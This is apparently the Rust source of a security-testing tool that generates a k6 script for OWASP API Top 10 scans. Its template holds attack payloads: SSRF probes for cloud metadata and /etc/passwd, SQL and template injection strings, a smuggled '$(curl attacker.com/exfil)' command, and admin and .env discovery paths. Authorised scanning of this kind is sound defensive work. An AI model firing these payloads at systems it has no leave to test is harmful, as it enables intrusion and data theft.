mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14use std::collections::HashMap;
15
16/// Generator for OWASP API security test scripts
17pub struct OwaspApiGenerator {
18    /// OWASP API configuration
19    config: OwaspApiConfig,
20    /// Target base URL
21    target_url: String,
22    /// Parsed OpenAPI operations
23    operations: Vec<OperationInfo>,
24}
25
26/// Information about an API operation
27#[derive(Debug, Clone)]
28pub struct OperationInfo {
29    /// HTTP method
30    pub method: String,
31    /// Path template (e.g., /users/{id})
32    pub path: String,
33    /// Operation ID
34    pub operation_id: Option<String>,
35    /// Path parameters
36    pub path_params: Vec<PathParam>,
37    /// Query parameters
38    pub query_params: Vec<QueryParam>,
39    /// Whether operation has request body
40    pub has_body: bool,
41    /// Content type
42    pub content_type: Option<String>,
43    /// Security requirements (if any)
44    pub requires_auth: bool,
45    /// Tags
46    pub tags: Vec<String>,
47}
48
49/// Path parameter info
50#[derive(Debug, Clone)]
51pub struct PathParam {
52    pub name: String,
53    pub param_type: String,
54    pub example: Option<String>,
55}
56
57/// Query parameter info
58#[derive(Debug, Clone)]
59pub struct QueryParam {
60    pub name: String,
61    pub param_type: String,
62    pub required: bool,
63}
64
65impl OwaspApiGenerator {
66    /// Create a new OWASP API generator
67    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
68        let operations = Self::extract_operations(parser);
69        Self {
70            config,
71            target_url,
72            operations,
73        }
74    }
75
76    /// Extract operations from the spec parser
77    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
78        parser
79            .get_operations()
80            .into_iter()
81            .map(|op| {
82                // Extract path parameters from the path
83                let path_params: Vec<PathParam> = op
84                    .path
85                    .split('/')
86                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
87                    .map(|segment| {
88                        let name = segment.trim_start_matches('{').trim_end_matches('}');
89                        PathParam {
90                            name: name.to_string(),
91                            param_type: "string".to_string(),
92                            example: None,
93                        }
94                    })
95                    .collect();
96
97                OperationInfo {
98                    method: op.method.to_uppercase(),
99                    path: op.path.clone(),
100                    operation_id: op.operation_id.clone(),
101                    path_params,
102                    query_params: Vec::new(),
103                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
104                    content_type: Some("application/json".to_string()),
105                    requires_auth: true, // Assume auth required by default
106                    tags: op.operation.tags.clone(),
107                }
108            })
109            .collect()
110    }
111
112    /// Generate the complete k6 security test script
113    pub fn generate(&self) -> Result<String> {
114        let mut handlebars = Handlebars::new();
115
116        // Register custom helpers
117        handlebars.register_helper("contains", Box::new(contains_helper));
118        handlebars.register_helper("eq", Box::new(eq_helper));
119
120        let template = self.get_script_template();
121        let data = self.build_template_data()?;
122
123        handlebars
124            .render_template(&template, &data)
125            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
126    }
127
128    /// Build template data for rendering
129    fn build_template_data(&self) -> Result<Value> {
130        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
131        let mut test_cases: Vec<Value> = Vec::new();
132
133        // Generate test cases for each category
134        for category in self.config.categories_to_test() {
135            let category_tests = self.generate_category_tests(category, &payload_generator)?;
136            test_cases.extend(category_tests);
137        }
138
139        // Pre-compute which categories are enabled for simple template conditionals
140        let categories = self.config.categories_to_test();
141        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
142        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
143        let test_api3 =
144            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
145        let test_api4 =
146            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
147        let test_api5 =
148            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
149        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
150        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
151        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
152        let test_api9 =
153            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
154        let test_api10 =
155            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
156
157        // Helper to prepend base_path to API paths
158        let base_path = self.config.base_path.clone().unwrap_or_default();
159        let build_path = |path: &str| -> String {
160            if base_path.is_empty() {
161                path.to_string()
162            } else {
163                format!("{}{}", base_path.trim_end_matches('/'), path)
164            }
165        };
166
167        // Pre-compute operations with path parameters for BOLA testing
168        let ops_with_path_params: Vec<Value> = self
169            .operations
170            .iter()
171            .filter(|op| op.path.contains('{'))
172            .map(|op| {
173                json!({
174                    "method": op.method.to_lowercase(),
175                    "path": build_path(&op.path),
176                })
177            })
178            .collect();
179
180        // Pre-compute GET operations for method override testing
181        let get_operations: Vec<Value> = self
182            .operations
183            .iter()
184            .filter(|op| op.method.to_lowercase() == "get")
185            .map(|op| {
186                json!({
187                    "method": op.method.to_lowercase(),
188                    "path": build_path(&op.path),
189                })
190            })
191            .collect();
192
193        // Escape auth header and token values for safe use in JavaScript strings
194        let auth_header_name = escape_js_string(&self.config.auth_header);
195        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
196
197        Ok(json!({
198            "base_url": self.target_url,
199            "auth_header_name": auth_header_name,
200            "valid_auth_token": valid_auth_token,
201            "concurrency": self.config.concurrency,
202            "iterations": self.config.iterations,
203            "timeout_ms": self.config.timeout_ms,
204            "report_path": self.config.report_path.to_string_lossy(),
205            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
206            "test_cases": test_cases,
207            "operations": self.operations.iter().map(|op| json!({
208                "method": op.method.to_lowercase(),
209                "path": build_path(&op.path),
210                "operation_id": op.operation_id,
211                "has_body": op.has_body,
212                "requires_auth": op.requires_auth,
213                "has_path_params": op.path.contains('{'),
214            })).collect::<Vec<_>>(),
215            "ops_with_path_params": ops_with_path_params,
216            "get_operations": get_operations,
217            "verbose": self.config.verbose,
218            "insecure": self.config.insecure,
219            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
220            "custom_headers": self.config.custom_headers.iter()
221                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
222                .collect::<Vec<_>>(),
223            "has_custom_headers": !self.config.custom_headers.is_empty(),
224            // Category flags for simple conditionals
225            "test_api1": test_api1,
226            "test_api2": test_api2,
227            "test_api3": test_api3,
228            "test_api4": test_api4,
229            "test_api5": test_api5,
230            "test_api6": test_api6,
231            "test_api7": test_api7,
232            "test_api8": test_api8,
233            "test_api9": test_api9,
234            "test_api10": test_api10,
235        }))
236    }
237
238    /// Generate test cases for a specific category
239    fn generate_category_tests(
240        &self,
241        category: OwaspCategory,
242        payload_generator: &OwaspPayloadGenerator,
243    ) -> Result<Vec<Value>> {
244        let payloads = payload_generator.generate_for_category(category);
245        let mut tests = Vec::new();
246
247        for payload in payloads {
248            // Match payloads to appropriate operations
249            let applicable_ops = self.get_applicable_operations(&payload);
250
251            for op in applicable_ops {
252                tests.push(json!({
253                    "category": category.cli_name(),
254                    "category_name": category.short_name(),
255                    "description": payload.description,
256                    "method": op.method.to_lowercase(),
257                    "path": op.path,
258                    "payload": payload.value,
259                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
260                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
261                    "notes": payload.notes,
262                }));
263            }
264        }
265
266        Ok(tests)
267    }
268
269    /// Get operations applicable for a payload
270    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
271        match payload.injection_point {
272            InjectionPoint::PathParam => {
273                // Only operations with path parameters
274                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
275            }
276            InjectionPoint::Body => {
277                // Only operations that accept a body
278                self.operations.iter().filter(|op| op.has_body).collect()
279            }
280            InjectionPoint::Header | InjectionPoint::Omit => {
281                // All operations that require auth
282                self.operations.iter().filter(|op| op.requires_auth).collect()
283            }
284            InjectionPoint::QueryParam => {
285                // All operations (can add query params to any)
286                self.operations.iter().collect()
287            }
288            InjectionPoint::Modify => {
289                // Depends on payload - return all for now
290                self.operations.iter().collect()
291            }
292        }
293    }
294
295    /// Get the k6 script template
296    fn get_script_template(&self) -> String {
297        r#"// OWASP API Security Top 10 Test Script
298// Generated by MockForge - https://mockforge.dev
299// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
300
301import http from 'k6/http';
302import { check, sleep, group } from 'k6';
303import { Trend, Counter, Rate } from 'k6/metrics';
304
305// Configuration
306const BASE_URL = '{{{base_url}}}';
307const AUTH_HEADER = '{{{auth_header_name}}}';
308{{#if valid_auth_token}}
309const VALID_TOKEN = '{{{valid_auth_token}}}';
310{{else}}
311const VALID_TOKEN = null;
312{{/if}}
313const TIMEOUT = '{{timeout_ms}}ms';
314const VERBOSE = {{verbose}};
315const INSECURE = {{insecure}};
316
317// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
318const CUSTOM_HEADERS = {
319{{#each custom_headers}}
320    '{{{name}}}': '{{{value}}}',
321{{/each}}
322};
323
324// Custom metrics
325const findingsCounter = new Counter('owasp_findings');
326const testsRun = new Counter('owasp_tests_run');
327const vulnerableRate = new Rate('owasp_vulnerable_rate');
328const responseTime = new Trend('owasp_response_time');
329
330// Test options - use per-VU iterations scenario for controlled test runs
331export const options = {
332    scenarios: {
333        owasp_security_test: {
334            executor: 'per-vu-iterations',
335            vus: {{concurrency}},
336            iterations: {{iterations}},  // Iterations per VU
337            maxDuration: '30m',
338        },
339    },
340    thresholds: {
341        'owasp_findings': ['count<100'], // Alert if too many findings
342    },
343    insecureSkipTLSVerify: INSECURE,
344};
345
346// Findings storage
347const findings = [];
348
349// Helper: Log a finding
350function logFinding(category, endpoint, method, description, evidence) {
351    const finding = {
352        category,
353        endpoint,
354        method,
355        description,
356        evidence,
357        timestamp: new Date().toISOString(),
358    };
359    findings.push(finding);
360    findingsCounter.add(1);
361    vulnerableRate.add(1);
362
363    if (VERBOSE) {
364        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
365    }
366}
367
368// Helper: Log test passed
369function logPass(category, endpoint, method) {
370    vulnerableRate.add(0);
371    if (VERBOSE) {
372        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
373    }
374}
375
376// Helper: Generate a random UUID for path parameters
377// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
378function generateRandomId() {
379    return crypto.randomUUID();
380}
381
382// Helper: Replace path parameters with random UUIDs
383// Replaces all {param} patterns with new random UUIDs
384function replacePathParams(path) {
385    return path.replace(/{[^}]+}/g, () => generateRandomId());
386}
387
388// Helper: Make authenticated request
389function authRequest(method, url, body, additionalHeaders = {}) {
390    const headers = {
391        'Content-Type': 'application/json',
392        ...CUSTOM_HEADERS,
393        ...additionalHeaders,
394    };
395
396    if (VALID_TOKEN) {
397        headers[AUTH_HEADER] = VALID_TOKEN;
398    }
399
400    const params = {
401        headers,
402        timeout: TIMEOUT,
403        // Disable k6's automatic cookie jar to prevent cookie duplication
404        // when user provides Cookie header manually via --headers
405        jar: null,
406    };
407
408    // k6 uses 'del' instead of 'delete'
409    const httpMethod = method === 'delete' ? 'del' : method;
410
411    if (httpMethod === 'get' || httpMethod === 'head') {
412        return http[httpMethod](url, params);
413    } else {
414        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
415    }
416}
417
418// Helper: Make unauthenticated request
419function unauthRequest(method, url, body, additionalHeaders = {}) {
420    const headers = {
421        'Content-Type': 'application/json',
422        ...CUSTOM_HEADERS,
423        ...additionalHeaders,
424    };
425
426    const params = {
427        headers,
428        timeout: TIMEOUT,
429        // Disable k6's automatic cookie jar to prevent cookie duplication
430        // when user provides Cookie header manually via --headers
431        jar: null,
432    };
433
434    // k6 uses 'del' instead of 'delete'
435    const httpMethod = method === 'delete' ? 'del' : method;
436
437    if (httpMethod === 'get' || httpMethod === 'head') {
438        return http[httpMethod](url, params);
439    } else {
440        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
441    }
442}
443
444// API1: Broken Object Level Authorization (BOLA)
445function testBola() {
446    group('API1 - BOLA', function() {
447        console.log('[API1] Testing Broken Object Level Authorization...');
448
449        {{#each operations}}
450        {{#if has_path_params}}
451        // Test {{path}}
452        {
453            // Generate different random UUIDs for each test
454            const originalId = generateRandomId();
455            const targetId = generateRandomId();
456            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
457            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
458
459            if (VERBOSE) {
460                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
461            }
462
463            // Get baseline with first random ID
464            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
465
466            // Try to access different random ID (simulating another user's resource)
467            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
468            testsRun.add(1);
469            responseTime.add(response.timings.duration);
470
471            if (response.status >= 200 && response.status < 300) {
472                // Check if we got different data (potential BOLA vulnerability)
473                if (response.body !== baseline.body && response.body.length > 0) {
474                    logFinding('api1', '{{path}}', '{{method}}',
475                        'ID manipulation accepted - accessed different resource',
476                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
477                } else {
478                    logPass('api1', '{{path}}', '{{method}}');
479                }
480            } else {
481                logPass('api1', '{{path}}', '{{method}}');
482            }
483        }
484        {{/if}}
485        {{/each}}
486    });
487}
488
489// API2: Broken Authentication
490function testBrokenAuth() {
491    group('API2 - Broken Authentication', function() {
492        console.log('[API2] Testing Broken Authentication...');
493
494        {{#each operations}}
495        {{#if requires_auth}}
496        // Test {{path}} without auth
497        {
498            const testPath = replacePathParams('{{path}}');
499            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
500            testsRun.add(1);
501            responseTime.add(response.timings.duration);
502
503            if (response.status >= 200 && response.status < 300) {
504                logFinding('api2', '{{path}}', '{{method}}',
505                    'Endpoint accessible without authentication',
506                    { status: response.status });
507            } else {
508                logPass('api2', '{{path}}', '{{method}}');
509            }
510        }
511
512        // Test {{path}} with empty token
513        {
514            const testPath = replacePathParams('{{path}}');
515            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
516            const makeEmptyTokenRequest = (m, url, body, params) => {
517                if (m === 'get' || m === 'head') return http[m](url, params);
518                return http[m](url, body, params);
519            };
520            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
521                headers: { [AUTH_HEADER]: 'Bearer ' },
522                timeout: TIMEOUT,
523                jar: null,
524            });
525            testsRun.add(1);
526
527            if (response.status >= 200 && response.status < 300) {
528                logFinding('api2', '{{path}}', '{{method}}',
529                    'Endpoint accessible with empty Bearer token',
530                    { status: response.status });
531            }
532        }
533        {{/if}}
534        {{/each}}
535    });
536}
537
538// API3: Broken Object Property Level Authorization (Mass Assignment)
539function testMassAssignment() {
540    group('API3 - Mass Assignment', function() {
541        console.log('[API3] Testing Mass Assignment...');
542
543        const massAssignmentPayloads = [
544            { role: 'admin' },
545            { is_admin: true },
546            { isAdmin: true },
547            { permissions: ['admin', 'write', 'delete'] },
548            { verified: true },
549            { email_verified: true },
550            { balance: 999999 },
551        ];
552
553        {{#each operations}}
554        {{#if has_body}}
555        // Test {{path}}
556        {
557            const testPath = replacePathParams('{{path}}');
558            massAssignmentPayloads.forEach(payload => {
559                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
560                testsRun.add(1);
561                responseTime.add(response.timings.duration);
562
563                if (response.status >= 200 && response.status < 300) {
564                    // Check if unauthorized field appears in response
565                    const responseBody = response.body.toLowerCase();
566                    const payloadKey = Object.keys(payload)[0].toLowerCase();
567
568                    if (responseBody.includes(payloadKey)) {
569                        logFinding('api3', '{{path}}', '{{method}}',
570                            `Mass assignment accepted: ${payloadKey}`,
571                            { status: response.status, payload });
572                    } else {
573                        logPass('api3', '{{path}}', '{{method}}');
574                    }
575                }
576            });
577        }
578        {{/if}}
579        {{/each}}
580    });
581}
582
583// API4: Unrestricted Resource Consumption
584function testResourceConsumption() {
585    group('API4 - Resource Consumption', function() {
586        console.log('[API4] Testing Resource Consumption...');
587
588        {{#each operations}}
589        // Test {{path}} with excessive limit
590        {
591            const testPath = replacePathParams('{{path}}');
592            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
593            const response = authRequest('{{method}}', url, null);
594            testsRun.add(1);
595            responseTime.add(response.timings.duration);
596
597            // Check for rate limit headers
598            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
599                                response.headers['x-ratelimit-limit'] ||
600                                response.headers['RateLimit-Limit'];
601
602            if (response.status === 429) {
603                logPass('api4', '{{path}}', '{{method}}');
604            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
605                logFinding('api4', '{{path}}', '{{method}}',
606                    'No rate limiting detected',
607                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
608            } else {
609                logPass('api4', '{{path}}', '{{method}}');
610            }
611        }
612        {{/each}}
613    });
614}
615
616// API5: Broken Function Level Authorization
617function testFunctionAuth() {
618    group('API5 - Function Authorization', function() {
619        console.log('[API5] Testing Function Level Authorization...');
620
621        const adminPaths = [
622            '/admin',
623            '/admin/users',
624            '/admin/settings',
625            '/api/admin',
626            '/internal',
627            '/management',
628        ];
629
630        adminPaths.forEach(path => {
631            const response = authRequest('get', BASE_URL + path, null);
632            testsRun.add(1);
633            responseTime.add(response.timings.duration);
634
635            if (response.status >= 200 && response.status < 300) {
636                logFinding('api5', path, 'GET',
637                    'Admin endpoint accessible',
638                    { status: response.status });
639            } else if (response.status === 403 || response.status === 401) {
640                logPass('api5', path, 'GET');
641            }
642        });
643
644        // Also test changing methods on read-only endpoints
645        {{#each get_operations}}
646        {
647            const testPath = replacePathParams('{{path}}');
648            const response = authRequest('delete', BASE_URL + testPath, null);
649            testsRun.add(1);
650
651            if (response.status >= 200 && response.status < 300) {
652                logFinding('api5', '{{path}}', 'DELETE',
653                    'DELETE method allowed on read-only endpoint',
654                    { status: response.status });
655            }
656        }
657        {{/each}}
658    });
659}
660
661// API7: Server Side Request Forgery (SSRF)
662function testSsrf() {
663    group('API7 - SSRF', function() {
664        console.log('[API7] Testing Server Side Request Forgery...');
665
666        const ssrfPayloads = [
667            'http://localhost/',
668            'http://127.0.0.1/',
669            'http://169.254.169.254/latest/meta-data/',
670            'http://[::1]/',
671            'file:///etc/passwd',
672        ];
673
674        {{#each operations}}
675        {{#if has_body}}
676        // Test {{path}} with SSRF payloads
677        {
678            const testPath = replacePathParams('{{path}}');
679            ssrfPayloads.forEach(payload => {
680                const body = {
681                    url: payload,
682                    webhook_url: payload,
683                    callback: payload,
684                    image_url: payload,
685                };
686
687                const response = authRequest('{{method}}', BASE_URL + testPath, body);
688                testsRun.add(1);
689                responseTime.add(response.timings.duration);
690
691                if (response.status >= 200 && response.status < 300) {
692                    // Check for indicators of internal access
693                    const bodyLower = response.body.toLowerCase();
694                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
695
696                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
697                        logFinding('api7', '{{path}}', '{{method}}',
698                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
699                            { status: response.status, payload });
700                    }
701                }
702            });
703        }
704        {{/if}}
705        {{/each}}
706    });
707}
708
709// API8: Security Misconfiguration
710function testMisconfiguration() {
711    group('API8 - Security Misconfiguration', function() {
712        console.log('[API8] Testing Security Misconfiguration...');
713
714        {{#each operations}}
715        // Test {{path}} for security headers
716        {
717            const testPath = replacePathParams('{{path}}');
718            const response = authRequest('{{method}}', BASE_URL + testPath, null);
719            testsRun.add(1);
720            responseTime.add(response.timings.duration);
721
722            const missingHeaders = [];
723
724            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
725                missingHeaders.push('X-Content-Type-Options');
726            }
727            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
728                missingHeaders.push('X-Frame-Options');
729            }
730            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
731                missingHeaders.push('Strict-Transport-Security');
732            }
733
734            // Check for overly permissive CORS
735            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
736            if (acao === '*') {
737                logFinding('api8', '{{path}}', '{{method}}',
738                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
739                    { status: response.status });
740            }
741
742            if (missingHeaders.length > 0) {
743                logFinding('api8', '{{path}}', '{{method}}',
744                    `Missing security headers: ${missingHeaders.join(', ')}`,
745                    { status: response.status, missingHeaders });
746            }
747        }
748        {{/each}}
749
750        // Test for verbose errors
751        {{#each operations}}
752        {{#if has_body}}
753        {
754            const testPath = replacePathParams('{{path}}');
755            const malformedBody = '{"invalid": "json';
756            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
757                headers: { 'Content-Type': 'application/json' },
758                timeout: TIMEOUT,
759                jar: null,
760            });
761            testsRun.add(1);
762
763            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
764            const bodyLower = response.body.toLowerCase();
765
766            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
767                logFinding('api8', '{{path}}', '{{method}}',
768                    'Verbose error messages exposed',
769                    { status: response.status });
770            }
771        }
772        {{/if}}
773        {{/each}}
774    });
775}
776
777// API9: Improper Inventory Management
778function testInventory() {
779    group('API9 - Inventory Management', function() {
780        console.log('[API9] Testing Improper Inventory Management...');
781
782        const discoveryPaths = [
783            '/swagger',
784            '/swagger-ui',
785            '/swagger.json',
786            '/api-docs',
787            '/openapi',
788            '/openapi.json',
789            '/graphql',
790            '/graphiql',
791            '/debug',
792            '/actuator',
793            '/actuator/health',
794            '/actuator/env',
795            '/metrics',
796            '/.env',
797            '/config',
798        ];
799
800        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
801
802        discoveryPaths.forEach(path => {
803            const response = http.get(BASE_URL + path, { timeout: TIMEOUT, jar: null });
804            testsRun.add(1);
805            responseTime.add(response.timings.duration);
806
807            if (response.status !== 404) {
808                logFinding('api9', path, 'GET',
809                    `Undocumented endpoint discovered (HTTP ${response.status})`,
810                    { status: response.status });
811            }
812        });
813
814        // Check for old API versions
815        apiVersions.forEach(version => {
816            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT, jar: null });
817            testsRun.add(1);
818
819            if (response.status !== 404) {
820                logFinding('api9', '/' + version + '/', 'GET',
821                    `API version endpoint exists (HTTP ${response.status})`,
822                    { status: response.status });
823            }
824        });
825    });
826}
827
828// API10: Unsafe Consumption of APIs
829function testUnsafeConsumption() {
830    group('API10 - Unsafe Consumption', function() {
831        console.log('[API10] Testing Unsafe Consumption...');
832
833        const injectionPayloads = [
834            { external_id: "'; DROP TABLE users;--" },
835            { integration_data: "$(curl attacker.com/exfil)" },
836            { template: "\{{7*7}}" },
837            { webhook_url: "http://127.0.0.1:8080/internal" },
838        ];
839
840        {{#each operations}}
841        {{#if has_body}}
842        // Test {{path}} with injection payloads
843        {
844            const testPath = replacePathParams('{{path}}');
845            injectionPayloads.forEach(payload => {
846                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
847                testsRun.add(1);
848                responseTime.add(response.timings.duration);
849
850                // Check if payload was processed (e.g., SSTI returning 49)
851                if (response.body.includes('49')) {
852                    logFinding('api10', '{{path}}', '{{method}}',
853                        'Server-side template injection detected',
854                        { status: response.status, payload });
855                }
856            });
857        }
858        {{/if}}
859        {{/each}}
860    });
861}
862
863// Main test function
864export default function() {
865    console.log('Starting OWASP API Top 10 Security Scan...');
866    console.log('Target: ' + BASE_URL);
867    console.log('');
868
869    {{#if test_api1}}
870    testBola();
871    {{/if}}
872    {{#if test_api2}}
873    testBrokenAuth();
874    {{/if}}
875    {{#if test_api3}}
876    testMassAssignment();
877    {{/if}}
878    {{#if test_api4}}
879    testResourceConsumption();
880    {{/if}}
881    {{#if test_api5}}
882    testFunctionAuth();
883    {{/if}}
884    {{#if test_api7}}
885    testSsrf();
886    {{/if}}
887    {{#if test_api8}}
888    testMisconfiguration();
889    {{/if}}
890    {{#if test_api9}}
891    testInventory();
892    {{/if}}
893    {{#if test_api10}}
894    testUnsafeConsumption();
895    {{/if}}
896
897    sleep(0.1);
898}
899
900// Teardown: Output results
901export function teardown(data) {
902    console.log('');
903    console.log('='.repeat(50));
904    console.log('OWASP API Top 10 Scan Complete');
905    console.log('='.repeat(50));
906    console.log('Total findings: ' + findings.length);
907
908    if (findings.length > 0) {
909        console.log('');
910        console.log('Findings by category:');
911        const byCategory = {};
912        findings.forEach(f => {
913            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
914        });
915        Object.entries(byCategory).forEach(([cat, count]) => {
916            console.log('  ' + cat + ': ' + count);
917        });
918    }
919
920    // Write JSON report
921    console.log('');
922    console.log('Report written to: {{report_path}}');
923}
924"#.to_string()
925    }
926}
927
928/// Handlebars helper to check if a string contains a substring
929fn contains_helper(
930    h: &handlebars::Helper,
931    _: &Handlebars,
932    _: &handlebars::Context,
933    _: &mut handlebars::RenderContext,
934    out: &mut dyn handlebars::Output,
935) -> handlebars::HelperResult {
936    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
937    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
938    let result = param1.contains(param2);
939    out.write(&result.to_string())?;
940    Ok(())
941}
942
943/// Handlebars helper to check equality
944fn eq_helper(
945    h: &handlebars::Helper,
946    _: &Handlebars,
947    _: &handlebars::Context,
948    _: &mut handlebars::RenderContext,
949    out: &mut dyn handlebars::Output,
950) -> handlebars::HelperResult {
951    let param1 = h.param(0).map(|v| v.value());
952    let param2 = h.param(1).map(|v| v.value());
953    let result = param1 == param2;
954    out.write(&result.to_string())?;
955    Ok(())
956}
957
958#[cfg(test)]
959mod tests {
960    use super::*;
961
962    #[test]
963    fn test_generator_creation() {
964        // This would need a mock SpecParser
965        // For now just test that the template is valid
966        let template = r#"
967        {{#each operations}}
968        // {{method}} {{path}}
969        {{/each}}
970        "#;
971
972        let handlebars = Handlebars::new();
973        let data = json!({
974            "operations": [
975                { "method": "GET", "path": "/users" },
976                { "method": "POST", "path": "/users" },
977            ]
978        });
979
980        let result = handlebars.render_template(template, &data);
981        assert!(result.is_ok());
982    }
983
984    #[test]
985    fn test_script_template_renders() {
986        let config = OwaspApiConfig::default()
987            .with_categories([OwaspCategory::Api1Bola])
988            .with_valid_auth_token("Bearer test123");
989
990        let template = r#"
991const AUTH = '{{auth_header_name}}';
992const TOKEN = '{{valid_auth_token}}';
993{{#each categories_tested}}
994// Testing: {{this}}
995{{/each}}
996        "#;
997
998        let handlebars = Handlebars::new();
999        let data = json!({
1000            "auth_header_name": config.auth_header,
1001            "valid_auth_token": config.valid_auth_token,
1002            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1003        });
1004
1005        let result = handlebars.render_template(template, &data).unwrap();
1006        assert!(result.contains("Authorization"));
1007        assert!(result.contains("Bearer test123"));
1008        assert!(result.contains("api1"));
1009    }
1010}